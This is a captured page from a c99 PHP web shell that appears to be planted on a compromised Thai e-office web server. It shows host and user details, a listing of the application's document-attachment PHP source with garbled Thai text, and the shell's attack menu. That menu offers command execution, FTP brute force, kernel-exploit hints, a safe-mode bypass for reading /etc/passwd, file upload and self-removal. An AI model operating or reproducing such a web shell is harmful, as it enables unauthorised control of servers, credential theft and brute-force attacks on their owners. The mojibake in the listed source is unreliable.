!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 50.92 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     uploadDocSended.php (3.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?PHP
function manageDocAtt($DLCID,$DocID){ 
include_once(
"../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"funct.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clsDocattatches.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"../class/clsSysConfig.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);
$oDatt = new Docattatches($oC);
$oDatt2 = new Docattatches($oC);
$oDatt3 = new Docattatches($oC);
$oDatt1 = new Docattatches($oC);
$oDtmp = new DocattatchesTmp($oC);
$oSys = new sysConfig($oC);

$oSys->RSsysConfig();
$oSys->GetRecord();

                
$countAllDoc=$oDatt->CountDocByDocIDSended($DocID);
                if(
$countAllDoc>0){
                    
$showdetaildoc="<table width=\"100%\" border=0 cellpadding=\"0\" cellspacing=\"0\" align=left>";    
                    
$showdetaildoc=$showdetaildoc."<tr><td  align=left>";
                    
                    
$oDatt->SearchByDocIDSended($DocID);
                    while(
$oDatt->GetRecord()){  $c++;  $pathfile=$GLOBALS['path_download_documents'].$oDatt->DaUpFileName;
                        
$showdetaildoc=$showdetaildoc."<a href=".$pathfile." target=\"_blank\"><img src=\"../picture/allregistered_ico.gif\" title=\"嗷源促峥榱斯学首蚛"  border=\"0\"  style=\"cursor:pointer;\" ></a>&nbsp;";
                        
$showdetaildoc=$showdetaildoc."<img src=\"../picture/delete1.gif\" title=\"藕峥榱斯学首蚛"  border=\"0\" style=\"cursor:pointer;\"  onClick=\"startDel(".$oDatt->DaID.")\">&nbsp;";
                        
$showdetaildoc=$showdetaildoc."&nbsp;".$oDatt->DaFileName."<br>";    
                    } 
                    
$showdetaildoc=$showdetaildoc."</td></tr></table>";
                    return 
$showdetaildoc;
                }
}
function 
manageDocAtt2($DocID){ 
include_once(
"../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"funct.php";
include_once 
"../link/keyThai.php";
include_once 
"../class/clsDocattatches.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"../class/clsSysConfig.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);
$oDatt = new Docattatches($oC);
$oDatt2 = new Docattatches($oC);
$oDatt3 = new Docattatches($oC);
$oDatt1 = new Docattatches($oC);
$oDtmp = new DocattatchesTmp($oC);
$oSys = new sysConfig($oC);

$oSys->RSsysConfig();
$oSys->GetRecord();

                
                
$countAllDoc=$oDatt->CountDocByDocIDSended($DocID);
                if(
$countAllDoc>0){
                    
$showdetaildoc="<br>&nbsp;&nbsp;<font size=2 color=".$GLOBALS["COLOR_FONT_2"].">峥榱斯学首袜驹枇嗟粤 (ㄒ〉楣嗝阻艇)&nbsp;".a2th($countAllDoc)."&nbsp;靡隆颐</font><br>";
                    
$showdetaildoc.="<table width=\"100%\" border=0 cellpadding=\"0\" cellspacing=\"0\" align=left>";    
                    
$showdetaildoc=$showdetaildoc."<tr><td  align=left>&nbsp;";
                    
$c=0;
                    
$oDatt->SearchByDocIDSended($DocID);
                    while(
$oDatt->GetRecord()){  $c++;  $pathfile=$GLOBALS['path_download_documents'].$oDatt->DaUpFileName;
                        
$showdetaildoc=$showdetaildoc."<a href=".$pathfile." target=\"_blank\"><img src=\"../picture/allregistered_ico.gif\" title=\"嗷源促峥榱斯学首蚛"  border=\"0\"  style=\"cursor:pointer;\" ></a>";
                        
$showdetaildoc=$showdetaildoc."&nbsp;&nbsp;&nbsp;".$c.".&nbsp;".$oDatt->DaFileName."<br>&nbsp;";    
                    } 
                    
$showdetaildoc=$showdetaildoc."</td></tr></table>";
                    return 
$showdetaildoc;
                }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0053 ]--